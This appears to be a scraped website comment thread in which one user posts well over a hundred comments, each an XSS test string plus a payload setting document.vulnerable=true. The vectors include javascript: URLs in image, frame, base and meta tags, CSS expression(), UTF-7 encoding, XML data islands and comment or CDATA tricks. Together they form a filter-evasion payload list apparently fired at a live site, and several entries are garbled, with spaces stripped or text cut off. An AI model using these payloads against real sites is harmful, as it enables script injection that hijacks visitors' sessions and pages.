Chris Rucker
(296 )
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<imgsrc="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <img src="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <div onmouseover="document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<divonmouseover="document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<ahref="javascript#document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <a href="javascript#document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<HEAD><METAHTTP-EQUIV="CONTENT-TYPE"CONTENT="text/html;charset=UTF-7"></HEAD> ADw-SCRIPT AD4-document.vulnerable=true; ADw-/SCRIPT AD4-) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4- ) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<METAHTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">) |
Chris Rucker
(296)
| 10:16:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>"> ) |
Chris Rucker
(296)
| 10:17:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
';echo('IPT>document.vulnerable=true</SCRIPT>');?>) |
Chris Rucker
(296)
| 10:17:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
';echo('IPT>document.vulnerable=true</SCRIPT>'); ?> ) |
Chris Rucker
(296)
| 10:17:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></HTML> ) |
Chris Rucker
(296)
| 10:17:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<HTML><BODY><?xml:namespaceprefix="t"ns="urn:schemas-microsoft-com:time"><?importnamespace="t"implementation="#default#time2"><t:setattributeName="innerHTML"to="XSS<SCRIPTDEFER>document.vulnerable=true</SCRIPT>"></BODY></HTML>) |
Chris Rucker
(296)
| 10:17:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<XMLID="xss"><I><B><IMGSRC="javas<!---->cript:document.vulnerable=true"></B></I></XML><SPANDATASRC="#xss"DATAFLD="B"DATAFORMATAS="HTML"></SPAN>) |
Chris Rucker
(296)
| 10:17:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<XMLID=I><X><C><![CDATA[<IMGSRC="javas]]<![CDATA[cript:document.vulnerable=true;">]]</C></X></xml><SPANDATASRC=#IDATAFLD=CDATAFORMATAS=HTML></SPAN>) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<BASEHREF="javascript:document.vulnerable=true;//">) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <BASE HREF="javascript:document.vulnerable=true;//"> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <STYLE type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</STYLE> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<STYLEtype="text/css">BODY{background:url("javascript:document.vulnerable=true")}</STYLE>) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <STYLE>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></A> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<STYLE>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><ACLASS=XSS></A>) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <STYLE TYPE="text/javascript">document.vulnerable=true;</STYLE> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<STYLETYPE="text/javascript">document.vulnerable=true;</STYLE>) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <XSS STYLE="xss:expression(document.vulnerable=true)"> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<XSSSTYLE="xss:expression(document.vulnerable=true)">) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)"> ) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<IMGSTYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](exp/*<ASTYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>) |
Chris Rucker
(296)
| 10:18:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <DIV STYLE="width: expression(document.vulnerable=true);"> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<DIVSTYLE="width:expression(document.vulnerable=true);">) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<DIVSTYLE="background-image:url() |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <DIV STYLE="background-image: url(javascript:document.vulnerable=true;)"> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<DIVSTYLE="background-image:url(javascript:document.vulnerable=true;)">) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <DIV STYLE="background-image: url(javascript:document.vulnerable=true;)"> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <TABLE><TD BACKGROUND="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<TABLE><TDBACKGROUND="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<TABLEBACKGROUND="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <TABLE BACKGROUND="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<FRAMESET><FRAMESRC="javascript:document.vulnerable=true;"></FRAMESET>) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></FRAMESET> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<IFRAMESRC="javascript:document.vulnerable=true;"></IFRAME>) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IFRAME SRC="javascript:document.vulnerable=true;"></IFRAME> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<METAHTTP-EQUIV="refresh"CONTENT="0;URL=http://;URL=javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<METAHTTP-EQUIV="refresh"CONTENT="0;url=javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:19:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <STYLE>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<STYLE>li{list-style-image:url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <LINK REL="stylesheet" HREF="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<LINKREL="stylesheet"HREF="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<LAYERSRC="javascript:document.vulnerable=true;"></LAYER>) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <LAYER SRC="javascript:document.vulnerable=true;"></LAYER> ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<BRSIZE=") |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <BR SIZE="&{document.vulnerable=true}"> ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <BGSOUND SRC="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<BGSOUNDSRC="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<IMGLOWSRC="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IMG LOWSRC="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IMG DYNSRC="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<IMGDYNSRC="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<BODYBACKGROUND="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <BODY BACKGROUND="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<INPUTTYPE="IMAGE"SRC="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:20:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <INPUT TYPE="IMAGE" SRC="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( \";document.vulnerable=true;;// ) |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](\";document.vulnerable=true;;//) |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<iframesrc="javascript:document.vulnerable=true;<) |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <iframe src="javascript:document.vulnerable=true; < ) |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<IMGSRC="javascript:document.vulnerable=true;") |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IMG SRC="javascript:document.vulnerable=true;" ) |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:21:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
*~+-_.,:;?@[/|\]^`=document.vulnerable=true;> ) |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<IMGSRC=") |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IMG SRC="  javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
 |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![](<IMGSRC="javascript:document.vulnerable=true;">) |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IMG SRC="javascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
|
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<script>alert("test")</script>
![]( <IMG SRC="jav ascript:document.vulnerable=true;"> ) |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<divdatafld="b"dataformatas="html"datasrc="#X"></div> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<div datafld="b" dataformatas="html" datasrc="#X"></div> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<xmlid="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<!-- -- --><script>document.vulnerable=true;</script><!-- -- --> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<!------><script>document.vulnerable=true;</script><!------> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<xmlsrc="javascript:document.vulnerable=true;"> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<xml src="javascript:document.vulnerable=true;"> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<img src="blah>" onmouseover="document.vulnerable=true;"> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<imgsrc="blah>"onmouseover="document.vulnerable=true;"> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<imgsrc="blah"onmouseover="document.vulnerable=true;"> |
Chris Rucker
(296)
| 10:22:00 AM Wednesday, December 31, 2008
<img src="blah"onmouseover="document.vulnerable=true;"> |
Chris Rucker
(296)
| 10:23:00 AM Wednesday, December 31, 2008
<![CDATA[<!--]]<script>document.vulnerable=true;//--></script> |
Chris Rucker
(296)
| 10:23:00 AM Wednesday, December 31, 2008
<![CDATA[<!--]]<script>document.vulnerable=true;//--></script> |
